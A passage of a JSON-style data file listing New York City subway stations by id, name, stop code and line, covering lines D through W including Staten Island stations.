{"id": "31e9", "name": "Broadway-Lafayette St / Bleecker St", "stop": "D21", "line": "D"}, {"id": "48f0", "name": "Coney Island - Stillwell Av", "stop": "D43", "line": "D"}, {"id": "5256", "name": "Fordham Rd", "stop": "D05", "line": "D"}, {"id": "ed90", "name": "Fort Hamilton Pkwy", "stop": "B13", "line": "D"}, {"id": "5397", "name": "Grand St", "stop": "D22", "line": "D"}, {"id": "5a85", "name": "Kingsbridge Rd", "stop": "D04", "line": "D"}, {"id": "168d", "name": "Norwood - 205 St", "stop": "D01", "line": "D"}, {"id": "8714", "name": "Tremont Av", "stop": "D07", "line": "D"}, {"id": "47ae", "name": "W 4 St", "stop": "A32", "line": "D"}, {"id": "47ae", "name": "W 4 St", "stop": "D20", "line": "D"}, {"id": "0161", "name": "14 St / 6 Av", "stop": "D19", "line": "E"}, {"id": "0161", "name": "14 St / 6 Av", "stop": "L02", "line": "E"}, {"id": "7da0", "name": "21 St - Queensbridge", "stop": "B04", "line": "E"}, {"id": "1ccf", "name": "23 St", "stop": "D18", "line": "E"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "D17", "line": "E"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "R17", "line": "E"}, {"id": "6fd9", "name": "42 St - Bryant Pk", "stop": "D16", "line": "E"}, {"id": "0cca", "name": "47-50 Sts - Rockefeller Ctr", "stop": "D15", "line": "E"}, {"id": "5224", "name": "57 St", "stop": "B10", "line": "E"}, {"id": "c6a0", "name": "74 St - Broadway - Roosevelt Av", "stop": "710", "line": "E"}, {"id": "c6a0", "name": "74 St - Broadway - Roosevelt Av", "stop": "G14", "line": "E"}, {"id": "490c", "name": "Canal St", "stop": "A34", "line": "E"}, {"id": "87ff", "name": "Forest Hills - 71 Av", "stop": "G08", "line": "E"}, {"id": "55b7", "name": "Jamaica - Van Wyck", "stop": "G07", "line": "E"}, {"id": "b142", "name": "Jamaica Center - Parsons/Archer", "stop": "G05", "line": "E"}, {"id": "4bf3", "name": "Kew Gardens - Union Tpke", "stop": "F06", "line": "E"}, {"id": "ab3d", "name": "Lexington Av/63 St", "stop": "B08", "line": "E"}, {"id": "4edc", "name": "Roosevelt Island", "stop": "B06", "line": "E"}, {"id": "ebc5", "name": "Spring St", "stop": "A33", "line": "E"}, {"id": "eeb4", "name": "Sutphin Blvd - Archer Av - JFK Airport", "stop": "G06", "line": "E"}, {"id": "47ae", "name": "W 4 St", "stop": "A32", "line": "E"}, {"id": "47ae", "name": "W 4 St", "stop": "D20", "line": "E"}, {"id": "1941", "name": "World Trade Center", "stop": "E01", "line": "E"}, {"id": "0161", "name": "14 St / 6 Av", "stop": "D19", "line": "F"}, {"id": "0161", "name": "14 St / 6 Av", "stop": "L02", "line": "F"}, {"id": "abf9", "name": "15 St - Prospect Park", "stop": "F25", "line": "F"}, {"id": "c824", "name": "169 St", "stop": "F02", "line": "F"}, {"id": "81e2", "name": "18 Av", "stop": "F30", "line": "F"}, {"id": "2468", "name": "2 Av", "stop": "F14", "line": "F"}, {"id": "7da0", "name": "21 St - Queensbridge", "stop": "B04", "line": "F"}, {"id": "1ccf", "name": "23 St", "stop": "D18", "line": "F"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "D17", "line": "F"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "R17", "line": "F"}, {"id": "a9a9", "name": "4 Av / 9 St", "stop": "F23", "line": "F"}, {"id": "a9a9", "name": "4 Av / 9 St", "stop": "R33", "line": "F"}, {"id": "6fd9", "name": "42 St - Bryant Pk", "stop": "D16", "line": "F"}, {"id": "0cca", "name": "47-50 Sts - Rockefeller Ctr", "stop": "D15", "line": "F"}, {"id": "5224", "name": "57 St", "stop": "B10", "line": "F"}, {"id": "ebd7", "name": "7 Av", "stop": "F24", "line": "F"}, {"id": "c6a0", "name": "74 St - Broadway - Roosevelt Av", "stop": "710", "line": "F"}, {"id": "c6a0", "name": "74 St - Broadway - Roosevelt Av", "stop": "G14", "line": "F"}, {"id": "2f5d", "name": "75 Av", "stop": "F07", "line": "F"}, {"id": "020d", "name": "Avenue I", "stop": "F31", "line": "F"}, {"id": "1df9", "name": "Avenue N", "stop": "F33", "line": "F"}, {"id": "26e0", "name": "Avenue P", "stop": "F34", "line": "F"}, {"id": "4c79", "name": "Avenue U", "stop": "F36", "line": "F"}, {"id": "a0e7", "name": "Avenue X", "stop": "F38", "line": "F"}, {"id": "44ad", "name": "Bay Pkwy", "stop": "F32", "line": "F"}, {"id": "fc33", "name": "Bergen St", "stop": "F20", "line": "F"}, {"id": "1d93", "name": "Briarwood - Van Wyck Blvd", "stop": "F05", "line": "F"}, {"id": "31e9", "name": "Broadway-Lafayette St / Bleecker St", "stop": "637", "line": "F"}, {"id": "31e9", "name": "Broadway-Lafayette St / Bleecker St", "stop": "D21", "line": "F"}, {"id": "77e9", "name": "Carroll St", "stop": "F21", "line": "F"}, {"id": "92eb", "name": "Church Av", "stop": "F27", "line": "F"}, {"id": "48f0", "name": "Coney Island - Stillwell Av", "stop": "D43", "line": "F"}, {"id": "0a81", "name": "Delancey St / Essex St", "stop": "F15", "line": "F"}, {"id": "0a81", "name": "Delancey St / Essex St", "stop": "M18", "line": "F"}, {"id": "7075", "name": "Ditmas Av", "stop": "F29", "line": "F"}, {"id": "56d8", "name": "East Broadway", "stop": "F16", "line": "F"}, {"id": "87ff", "name": "Forest Hills - 71 Av", "stop": "G08", "line": "F"}, {"id": "f618", "name": "Fort Hamilton Pkwy", "stop": "F26", "line": "F"}, {"id": "bfe1", "name": "Jamaica - 179 St", "stop": "F01", "line": "F"}, {"id": "923c", "name": "Jay St - MetroTech", "stop": "A41", "line": "F"}, {"id": "923c", "name": "Jay St - MetroTech", "stop": "R29", "line": "F"}, {"id": "4bf3", "name": "Kew Gardens - Union Tpke", "stop": "F06", "line": "F"}, {"id": "078c", "name": "Kings Hwy", "stop": "F35", "line": "F"}, {"id": "ab3d", "name": "Lexington Av/63 St", "stop": "B08", "line": "F"}, {"id": "1f40", "name": "Neptune Av", "stop": "F39", "line": "F"}, {"id": "df86", "name": "Parsons Blvd", "stop": "F03", "line": "F"}, {"id": "4edc", "name": "Roosevelt Island", "stop": "B06", "line": "F"}, {"id": "7fa0", "name": "Smith - 9 Sts", "stop": "F22", "line": "F"}, {"id": "95cd", "name": "Sutphin Blvd", "stop": "F04", "line": "F"}, {"id": "47ae", "name": "W 4 St", "stop": "A32", "line": "F"}, {"id": "47ae", "name": "W 4 St", "stop": "D20", "line": "F"}, {"id": "099d", "name": "W 8 St - NY Aquarium", "stop": "D42", "line": "F"}, {"id": "810b", "name": "York St", "stop": "F18", "line": "F"}, {"id": "d1f3", "name": "Franklin Av", "stop": "A45", "line": "FS"}, {"id": "d1f3", "name": "Franklin Av", "stop": "S01", "line": "FS"}, {"id": "a301", "name": "Franklin Av / Botanic Garden", "stop": "239", "line": "FS"}, {"id": "a301", "name": "Franklin Av / Botanic Garden", "stop": "S04", "line": "FS"}, {"id": "e820", "name": "Park Pl", "stop": "S03", "line": "FS"}, {"id": "cf15", "name": "Prospect Park", "stop": "D26", "line": "FS"}, {"id": "abf9", "name": "15 St - Prospect Park", "stop": "F25", "line": "G"}, {"id": "c185", "name": "21 St", "stop": "G24", "line": "G"}, {"id": "a9a9", "name": "4 Av / 9 St", "stop": "F23", "line": "G"}, {"id": "a9a9", "name": "4 Av / 9 St", "stop": "R33", "line": "G"}, {"id": "ebd7", "name": "7 Av", "stop": "F24", "line": "G"}, {"id": "b994", "name": "Bedford - Nostrand Avs", "stop": "G33", "line": "G"}, {"id": "fc33", "name": "Bergen St", "stop": "F20", "line": "G"}, {"id": "f58d", "name": "Broadway", "stop": "G30", "line": "G"}, {"id": "77e9", "name": "Carroll St", "stop": "F21", "line": "G"}, {"id": "92eb", "name": "Church Av", "stop": "F27", "line": "G"}, {"id": "0920", "name": "Classon Av", "stop": "G34", "line": "G"}, {"id": "69ba", "name": "Clinton - Washington Avs", "stop": "G35", "line": "G"}, {"id": "65cd", "name": "Court Sq", "stop": "719", "line": "G"}, {"id": "65cd", "name": "Court Sq", "stop": "F09", "line": "G"}, {"id": "65cd", "name": "Court Sq", "stop": "G22", "line": "G"}, {"id": "31b9", "name": "Flushing Av", "stop": "G31", "line": "G"}, {"id": "f618", "name": "Fort Hamilton Pkwy", "stop": "F26", "line": "G"}, {"id": "7982", "name": "Fulton St", "stop": "G36", "line": "G"}, {"id": "b063", "name": "Greenpoint Av", "stop": "G26", "line": "G"}, {"id": "ec1f", "name": "Hoyt - Schermerhorn Sts", "stop": "A42", "line": "G"}, {"id": "1512", "name": "Metropolitan Av / Lorimer St", "stop": "G29", "line": "G"}, {"id": "1512", "name": "Metropolitan Av / Lorimer St", "stop": "L10", "line": "G"}, {"id": "3e9b", "name": "Myrtle - Willoughby Avs", "stop": "G32", "line": "G"}, {"id": "e3da", "name": "Nassau Av", "stop": "G28", "line": "G"}, {"id": "7fa0", "name": "Smith - 9 Sts", "stop": "F22", "line": "G"}, {"id": "232f", "name": "Beach 105 St", "stop": "H14", "line": "H"}, {"id": "5eb7", "name": "Beach 90 St", "stop": "H12", "line": "H"}, {"id": "170d", "name": "Beach 98 St", "stop": "H13", "line": "H"}, {"id": "ef66", "name": "Broad Channel", "stop": "H04", "line": "H"}, {"id": "e4ac", "name": "Broad Channel", "stop": "H19", "line": "H"}, {"id": "4de0", "name": "Rockaway Park - Beach 116 St", "stop": "H15", "line": "H"}, {"id": "c5f7", "name": "104 St", "stop": "J14", "line": "J"}, {"id": "6898", "name": "111 St", "stop": "J13", "line": "J"}, {"id": "f53a", "name": "121 St", "stop": "J12", "line": "J"}, {"id": "3a03", "name": "75 St", "stop": "J17", "line": "J"}, {"id": "47d7", "name": "85 St - Forest Pkwy", "stop": "J16", "line": "J"}, {"id": "5b67", "name": "Alabama Av", "stop": "J24", "line": "J"}, {"id": "c7ad", "name": "Bowery", "stop": "M19", "line": "J"}, {"id": "392c", "name": "Broad St", "stop": "M23", "line": "J"}, {"id": "0731", "name": "Broadway Jct", "stop": "A51", "line": "J"}, {"id": "0731", "name": "Broadway Jct", "stop": "J27", "line": "J"}, {"id": "0731", "name": "Broadway Jct", "stop": "L22", "line": "J"}, {"id": "18ca", "name": "Brooklyn Bridge - City Hall / Chambers St", "stop": "640", "line": "J"}, {"id": "18ca", "name": "Brooklyn Bridge - City Hall / Chambers St", "stop": "M21", "line": "J"}, {"id": "7f0a", "name": "Canal St", "stop": "639", "line": "J"}, {"id": "7f0a", "name": "Canal St", "stop": "M20", "line": "J"}, {"id": "7f0a", "name": "Canal St", "stop": "Q01", "line": "J"}, {"id": "7f0a", "name": "Canal St", "stop": "R23", "line": "J"}, {"id": "02f1", "name": "Chauncey St", "stop": "J28", "line": "J"}, {"id": "1378", "name": "Cleveland St", "stop": "J22", "line": "J"}, {"id": "97a6", "name": "Crescent St", "stop": "J20", "line": "J"}, {"id": "ce2d", "name": "Cypress Hills", "stop": "J19", "line": "J"}, {"id": "0a81", "name": "Delancey St / Essex St", "stop": "F15", "line": "J"}, {"id": "0a81", "name": "Delancey St / Essex St", "stop": "M18", "line": "J"}, {"id": "e9b2", "name": "Flushing Av", "stop": "M12", "line": "J"}, {"id": "3cf6", "name": "Fulton St", "stop": "229", "line": "J"}, {"id": "3cf6", "name": "Fulton St", "stop": "418", "line": "J"}, {"id": "3cf6", "name": "Fulton St", "stop": "A38", "line": "J"}, {"id": "3cf6", "name": "Fulton St", "stop": "M22", "line": "J"}, {"id": "9910", "name": "Gates Av", "stop": "J30", "line": "J"}, {"id": "bba2", "name": "Halsey St", "stop": "J29", "line": "J"}, {"id": "5ce2", "name": "Hewes St", "stop": "M14", "line": "J"}, {"id": "b142", "name": "Jamaica Center - Parsons/Archer", "stop": "G05", "line": "J"}, {"id": "6d12", "name": "Kosciuszko St", "stop": "J31", "line": "J"}, {"id": "f25c", "name": "Lorimer St", "stop": "M13", "line": "J"}, {"id": "f961", "name": "Marcy Av", "stop": "M16", "line": "J"}, {"id": "8942", "name": "Myrtle Av", "stop": "M11", "line": "J"}, {"id": "f4ad", "name": "Norwood Av", "stop": "J21", "line": "J"}, {"id": "eeb4", "name": "Sutphin Blvd - Archer Av - JFK Airport", "stop": "G06", "line": "J"}, {"id": "8f24", "name": "Van Siclen Av", "stop": "J23", "line": "J"}, {"id": "8a32", "name": "Woodhaven Blvd", "stop": "J15", "line": "J"}, {"id": "5492", "name": "1 Av", "stop": "L06", "line": "L"}, {"id": "0161", "name": "14 St / 6 Av", "stop": "D19", "line": "L"}, {"id": "0161", "name": "14 St / 6 Av", "stop": "L02", "line": "L"}, {"id": "5d15", "name": "3 Av", "stop": "L05", "line": "L"}, {"id": "6a30", "name": "8 Av / 14 St", "stop": "A31", "line": "L"}, {"id": "6a30", "name": "8 Av / 14 St", "stop": "L01", "line": "L"}, {"id": "2489", "name": "Atlantic Av", "stop": "L24", "line": "L"}, {"id": "ce97", "name": "Bedford Av", "stop": "L08", "line": "L"}, {"id": "0731", "name": "Broadway Jct", "stop": "A51", "line": "L"}, {"id": "0731", "name": "Broadway Jct", "stop": "J27", "line": "L"}, {"id": "0731", "name": "Broadway Jct", "stop": "L22", "line": "L"}, {"id": "3439", "name": "Bushwick Av - Aberdeen St", "stop": "L21", "line": "L"}, {"id": "4029", "name": "Canarsie - Rockaway Pkwy", "stop": "L29", "line": "L"}, {"id": "d2ee", "name": "DeKalb Av", "stop": "L16", "line": "L"}, {"id": "d154", "name": "E 105 St", "stop": "L28", "line": "L"}, {"id": "8e7e", "name": "Graham Av", "stop": "L11", "line": "L"}, {"id": "7e59", "name": "Grand St", "stop": "L12", "line": "L"}, {"id": "5b18", "name": "Halsey St", "stop": "L19", "line": "L"}, {"id": "8a7f", "name": "Jefferson St", "stop": "L15", "line": "L"}, {"id": "032e", "name": "Livonia Av / Junius St", "stop": "254", "line": "L"}, {"id": "032e", "name": "Livonia Av / Junius St", "stop": "L26", "line": "L"}, {"id": "1512", "name": "Metropolitan Av / Lorimer St", "stop": "G29", "line": "L"}, {"id": "1512", "name": "Metropolitan Av / Lorimer St", "stop": "L10", "line": "L"}, {"id": "5194", "name": "Montrose Av", "stop": "L13", "line": "L"}, {"id": "1e7f", "name": "Morgan Av", "stop": "L14", "line": "L"}, {"id": "f145", "name": "Myrtle - Wyckoff Avs", "stop": "L17", "line": "L"}, {"id": "f145", "name": "Myrtle - Wyckoff Avs", "stop": "M08", "line": "L"}, {"id": "dde6", "name": "New Lots Av", "stop": "L27", "line": "L"}, {"id": "ea88", "name": "Sutter Av", "stop": "L25", "line": "L"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "635", "line": "L"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "L03", "line": "L"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "R20", "line": "L"}, {"id": "0916", "name": "Wilson Av", "stop": "L20", "line": "L"}, {"id": "c7ad", "name": "Bowery", "stop": "M19", "line": "M"}, {"id": "18ca", "name": "Brooklyn Bridge - City Hall / Chambers St", "stop": "640", "line": "M"}, {"id": "18ca", "name": "Brooklyn Bridge - City Hall / Chambers St", "stop": "M21", "line": "M"}, {"id": "7f0a", "name": "Canal St", "stop": "639", "line": "M"}, {"id": "7f0a", "name": "Canal St", "stop": "M20", "line": "M"}, {"id": "7f0a", "name": "Canal St", "stop": "Q01", "line": "M"}, {"id": "7f0a", "name": "Canal St", "stop": "R23", "line": "M"}, {"id": "c415", "name": "Central Av", "stop": "M10", "line": "M"}, {"id": "0a81", "name": "Delancey St / Essex St", "stop": "F15", "line": "M"}, {"id": "0a81", "name": "Delancey St / Essex St", "stop": "M18", "line": "M"}, {"id": "e9b2", "name": "Flushing Av", "stop": "M12", "line": "M"}, {"id": "934a", "name": "Forest Av", "stop": "M05", "line": "M"}, {"id": "435b", "name": "Fresh Pond Rd", "stop": "M04", "line": "M"}, {"id": "5ce2", "name": "Hewes St", "stop": "M14", "line": "M"}, {"id": "3570", "name": "Knickerbocker Av", "stop": "M09", "line": "M"}, {"id": "f25c", "name": "Lorimer St", "stop": "M13", "line": "M"}, {"id": "f961", "name": "Marcy Av", "stop": "M16", "line": "M"}, {"id": "9d44", "name": "Middle Village - Metropolitan Av", "stop": "M01", "line": "M"}, {"id": "f145", "name": "Myrtle - Wyckoff Avs", "stop": "L17", "line": "M"}, {"id": "f145", "name": "Myrtle - Wyckoff Avs", "stop": "M08", "line": "M"}, {"id": "8942", "name": "Myrtle Av", "stop": "M11", "line": "M"}, {"id": "56bd", "name": "Seneca Av", "stop": "M06", "line": "M"}, {"id": "f95c", "name": "18 Av", "stop": "N05", "line": "N"}, {"id": "ac92", "name": "20 Av", "stop": "N06", "line": "N"}, {"id": "529d", "name": "30 Av", "stop": "R04", "line": "N"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "D17", "line": "N"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "R17", "line": "N"}, {"id": "a47d", "name": "36 Av", "stop": "R06", "line": "N"}, {"id": "38c3", "name": "36 St", "stop": "R36", "line": "N"}, {"id": "82e4", "name": "39 Av", "stop": "R08", "line": "N"}, {"id": "2d15", "name": "49 St", "stop": "R15", "line": "N"}, {"id": "5034", "name": "5 Av/59 St", "stop": "R13", "line": "N"}, {"id": "05e1", "name": "57 St - 7 Av", "stop": "R14", "line": "N"}, {"id": "f916", "name": "59 St", "stop": "R41", "line": "N"}, {"id": "c4f1", "name": "62 St / New Utrecht Av", "stop": "B16", "line": "N"}, {"id": "c4f1", "name": "62 St / New Utrecht Av", "stop": "N04", "line": "N"}, {"id": "93b3", "name": "8 Av", "stop": "N02", "line": "N"}, {"id": "12f5", "name": "86 St", "stop": "N10", "line": "N"}, {"id": "5925", "name": "Astoria - Ditmars Blvd", "stop": "R01", "line": "N"}, {"id": "0fd1", "name": "Astoria Blvd", "stop": "R03", "line": "N"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "235", "line": "N"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "D24", "line": "N"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "R31", "line": "N"}, {"id": "c277", "name": "Avenue U", "stop": "N09", "line": "N"}, {"id": "108a", "name": "Bay Pkwy", "stop": "N07", "line": "N"}, {"id": "e54a", "name": "Broadway", "stop": "R05", "line": "N"}, {"id": "7f0a", "name": "Canal St", "stop": "639", "line": "N"}, {"id": "7f0a", "name": "Canal St", "stop": "M20", "line": "N"}, {"id": "7f0a", "name": "Canal St", "stop": "Q01", "line": "N"}, {"id": "7f0a", "name": "Canal St", "stop": "R23", "line": "N"}, {"id": "48f0", "name": "Coney Island - Stillwell Av", "stop": "D43", "line": "N"}, {"id": "ba60", "name": "Fort Hamilton Pkwy", "stop": "N03", "line": "N"}, {"id": "96bd", "name": "Kings Hwy", "stop": "N08", "line": "N"}, {"id": "5f44", "name": "Lexington Av/59 St", "stop": "629", "line": "N"}, {"id": "5f44", "name": "Lexington Av/59 St", "stop": "R11", "line": "N"}, {"id": "66ce", "name": "Queensboro Plaza", "stop": "718", "line": "N"}, {"id": "66ce", "name": "Queensboro Plaza", "stop": "R09", "line": "N"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "127", "line": "N"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "725", "line": "N"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "902", "line": "N"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "R16", "line": "N"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "635", "line": "N"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "L03", "line": "N"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "R20", "line": "N"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "D17", "line": "Q"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "R17", "line": "Q"}, {"id": "05e1", "name": "57 St - 7 Av", "stop": "R14", "line": "Q"}, {"id": "7f29", "name": "7 Av", "stop": "D25", "line": "Q"}, {"id": "9350", "name": "72 St", "stop": "Q03", "line": "Q"}, {"id": "6e3b", "name": "86 St", "stop": "Q04", "line": "Q"}, {"id": "12d4", "name": "96 St", "stop": "Q05", "line": "Q"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "235", "line": "Q"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "D24", "line": "Q"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "R31", "line": "Q"}, {"id": "a6b2", "name": "Avenue H", "stop": "D32", "line": "Q"}, {"id": "71ea", "name": "Avenue J", "stop": "D33", "line": "Q"}, {"id": "71ce", "name": "Avenue M", "stop": "D34", "line": "Q"}, {"id": "aebd", "name": "Avenue U", "stop": "D37", "line": "Q"}, {"id": "1b2e", "name": "Beverley Rd", "stop": "D29", "line": "Q"}, {"id": "0132", "name": "Brighton Beach", "stop": "D40", "line": "Q"}, {"id": "7f0a", "name": "Canal St", "stop": "639", "line": "Q"}, {"id": "7f0a", "name": "Canal St", "stop": "M20", "line": "Q"}, {"id": "7f0a", "name": "Canal St", "stop": "Q01", "line": "Q"}, {"id": "7f0a", "name": "Canal St", "stop": "R23", "line": "Q"}, {"id": "b2e2", "name": "Church Av", "stop": "D28", "line": "Q"}, {"id": "48f0", "name": "Coney Island - Stillwell Av", "stop": "D43", "line": "Q"}, {"id": "3527", "name": "Cortelyou Rd", "stop": "D30", "line": "Q"}, {"id": "52ed", "name": "DeKalb Av", "stop": "R30", "line": "Q"}, {"id": "13fd", "name": "Kings Hwy", "stop": "D35", "line": "Q"}, {"id": "ab3d", "name": "Lexington Av/63 St", "stop": "B08", "line": "Q"}, {"id": "4f3c", "name": "Neck Rd", "stop": "D38", "line": "Q"}, {"id": "7268", "name": "Newkirk Plaza", "stop": "D31", "line": "Q"}, {"id": "0a02", "name": "Ocean Pkwy", "stop": "D41", "line": "Q"}, {"id": "78f3", "name": "Parkside Av", "stop": "D27", "line": "Q"}, {"id": "cf15", "name": "Prospect Park", "stop": "D26", "line": "Q"}, {"id": "72e2", "name": "Sheepshead Bay", "stop": "D39", "line": "Q"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "127", "line": "Q"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "725", "line": "Q"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "902", "line": "Q"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "R16", "line": "Q"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "635", "line": "Q"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "L03", "line": "Q"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "R20", "line": "Q"}, {"id": "099d", "name": "W 8 St - NY Aquarium", "stop": "D42", "line": "Q"}, {"id": "a3a3", "name": "23 St", "stop": "R19", "line": "R"}, {"id": "e61d", "name": "25 St", "stop": "R35", "line": "R"}, {"id": "ea7e", "name": "28 St", "stop": "R18", "line": "R"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "D17", "line": "R"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "R17", "line": "R"}, {"id": "38c3", "name": "36 St", "stop": "R36", "line": "R"}, {"id": "7b17", "name": "36 St", "stop": "G20", "line": "R"}, {"id": "a9a9", "name": "4 Av / 9 St", "stop": "F23", "line": "R"}, {"id": "a9a9", "name": "4 Av / 9 St", "stop": "R33", "line": "R"}, {"id": "a081", "name": "45 St", "stop": "R39", "line": "R"}, {"id": "1ea4", "name": "46 St", "stop": "G18", "line": "R"}, {"id": "2d15", "name": "49 St", "stop": "R15", "line": "R"}, {"id": "5034", "name": "5 Av/59 St", "stop": "R13", "line": "R"}, {"id": "b8a1", "name": "53 St", "stop": "R40", "line": "R"}, {"id": "05e1", "name": "57 St - 7 Av", "stop": "R14", "line": "R"}, {"id": "f916", "name": "59 St", "stop": "R41", "line": "R"}, {"id": "f3e5", "name": "63 Dr - Rego Park", "stop": "G10", "line": "R"}, {"id": "22f3", "name": "65 St", "stop": "G15", "line": "R"}, {"id": "5545", "name": "67 Av", "stop": "G09", "line": "R"}, {"id": "c6a0", "name": "74 St - Broadway - Roosevelt Av", "stop": "710", "line": "R"}, {"id": "c6a0", "name": "74 St - Broadway - Roosevelt Av", "stop": "G14", "line": "R"}, {"id": "11c7", "name": "77 St", "stop": "R43", "line": "R"}, {"id": "1fd4", "name": "8 St - NYU", "stop": "R21", "line": "R"}, {"id": "75ee", "name": "86 St", "stop": "R44", "line": "R"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "235", "line": "R"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "D24", "line": "R"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "R31", "line": "R"}, {"id": "7a5d", "name": "Bay Ridge - 95 St", "stop": "R45", "line": "R"}, {"id": "5d6e", "name": "Bay Ridge Av", "stop": "R42", "line": "R"}, {"id": "4e75", "name": "Borough Hall / Court St", "stop": "232", "line": "R"}, {"id": "4e75", "name": "Borough Hall / Court St", "stop": "423", "line": "R"}, {"id": "4e75", "name": "Borough Hall / Court St", "stop": "R28", "line": "R"}, {"id": "7f0a", "name": "Canal St", "stop": "639", "line": "R"}, {"id": "7f0a", "name": "Canal St", "stop": "M20", "line": "R"}, {"id": "7f0a", "name": "Canal St", "stop": "Q01", "line": "R"}, {"id": "7f0a", "name": "Canal St", "stop": "R23", "line": "R"}, {"id": "5f40", "name": "City Hall", "stop": "R24", "line": "R"}, {"id": "14b5", "name": "Cortlandt St", "stop": "R25", "line": "R"}, {"id": "52ed", "name": "DeKalb Av", "stop": "R30", "line": "R"}, {"id": "1953", "name": "Elmhurst Av", "stop": "G13", "line": "R"}, {"id": "87ff", "name": "Forest Hills - 71 Av", "stop": "G08", "line": "R"}, {"id": "ecbb", "name": "Grand Av - Newtown", "stop": "G12", "line": "R"}, {"id": "923c", "name": "Jay St - MetroTech", "stop": "A41", "line": "R"}, {"id": "923c", "name": "Jay St - MetroTech", "stop": "R29", "line": "R"}, {"id": "5f44", "name": "Lexington Av/59 St", "stop": "629", "line": "R"}, {"id": "5f44", "name": "Lexington Av/59 St", "stop": "R11", "line": "R"}, {"id": "25fa", "name": "Northern Blvd", "stop": "G16", "line": "R"}, {"id": "d008", "name": "Prince St", "stop": "R22", "line": "R"}, {"id": "7c33", "name": "Prospect Av", "stop": "R34", "line": "R"}, {"id": "ce5b", "name": "Queens Plaza", "stop": "G21", "line": "R"}, {"id": "1a2a", "name": "Rector St", "stop": "R26", "line": "R"}, {"id": "ecd5", "name": "South Ferry Loop / Whitehall St", "stop": "140", "line": "R"}, {"id": "ecd5", "name": "South Ferry Loop / Whitehall St", "stop": "R27", "line": "R"}, {"id": "b83f", "name": "Steinway St", "stop": "G19", "line": "R"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "127", "line": "R"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "725", "line": "R"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "902", "line": "R"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "R16", "line": "R"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "635", "line": "R"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "L03", "line": "R"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "R20", "line": "R"}, {"id": "1b5c", "name": "Union St", "stop": "R32", "line": "R"}, {"id": "62a4", "name": "Woodhaven Blvd", "stop": "G11", "line": "R"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "631", "line": "S"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "723", "line": "S"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "901", "line": "S"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "127", "line": "S"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "725", "line": "S"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "902", "line": "S"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "R16", "line": "S"}, {"id": "f248", "name": "Annadale", "stop": "S17", "line": "SI"}, {"id": "7cc9", "name": "Arthur Kill", "stop": "S11", "line": "SI"}, {"id": "a90d", "name": "Bay Terrace", "stop": "S20", "line": "SI"}, {"id": "c6e1", "name": "Clifton", "stop": "S28", "line": "SI"}, {"id": "951f", "name": "Dongan Hills", "stop": "S25", "line": "SI"}, {"id": "e840", "name": "Eltingville", "stop": "S18", "line": "SI"}, {"id": "2c9c", "name": "Grant City", "stop": "S23", "line": "SI"}, {"id": "478e", "name": "Grasmere", "stop": "S27", "line": "SI"}, {"id": "3f21", "name": "Great Kills", "stop": "S19", "line": "SI"}, {"id": "6e0b", "name": "Huguenot", "stop": "S16", "line": "SI"}, {"id": "9faa", "name": "Jefferson Av", "stop": "S24", "line": "SI"}, {"id": "7580", "name": "New Dorp", "stop": "S22", "line": "SI"}, {"id": "7c25", "name": "Oakwood Heights", "stop": "S21", "line": "SI"}, {"id": "40de", "name": "Old Town", "stop": "S26", "line": "SI"}, {"id": "e875", "name": "Pleasant Plains", "stop": "S14", "line": "SI"}, {"id": "74a2", "name": "Prince's Bay", "stop": "S15", "line": "SI"}, {"id": "688b", "name": "Richmond Valley", "stop": "S13", "line": "SI"}, {"id": "69be", "name": "St George", "stop": "S31", "line": "SI"}, {"id": "a85e", "name": "Stapleton", "stop": "S29", "line": "SI"}, {"id": "c317", "name": "Tompkinsville", "stop": "S30", "line": "SI"}, {"id": "5265", "name": "Tottenville", "stop": "S09", "line": "SI"}, {"id": "a3a3", "name": "23 St", "stop": "R19", "line": "W"}, {"id": 